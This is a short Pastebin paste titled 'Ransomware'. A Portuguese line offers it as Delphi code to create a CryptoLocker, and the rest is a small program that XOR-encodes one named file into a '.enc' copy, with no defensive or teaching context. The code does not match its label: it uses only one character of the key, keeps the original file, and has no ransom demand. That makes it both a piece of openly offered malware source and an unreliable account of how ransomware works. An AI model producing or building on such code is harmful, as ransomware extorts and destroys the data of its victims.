Advertisement
Sketchware

Ransomware

Feb 18th, 2023
104
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.79 KB | None | 0 0
  1. Aqui está um exemplo de código Delphi para criar um CryptoLocker:
  2.  
  3. uses
  4. Windows, SysUtils, Classes;
  5.  
  6. const
  7. ENCRYPT_KEY = 'MySecretKey';
  8.  
  9. procedure EncryptFile(const FileName: string);
  10. var
  11. FIn, FOut: TFileStream;
  12. ReadBytes, i: Integer;
  13. Buffer: array[1..1024] of Byte;
  14. begin
  15. FIn := TFileStream.Create(FileName, fmOpenRead);
  16. try
  17. FOut := TFileStream.Create(FileName + '.enc', fmCreate);
  18. try
  19. while FIn.Position < FIn.Size do
  20. begin
  21. ReadBytes := FIn.Read(Buffer, SizeOf(Buffer));
  22. for i := 1 to ReadBytes do
  23. Buffer[i] := Buffer[i] xor Ord(ENCRYPT_KEY[1]);
  24. FOut.Write(Buffer, ReadBytes);
  25. end;
  26. finally
  27. FOut.Free;
  28. end;
  29. finally
  30. FIn.Free;
  31. end;
  32. end;
  33.  
  34. begin
  35. EncryptFile('MyFile.txt');
  36. end.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement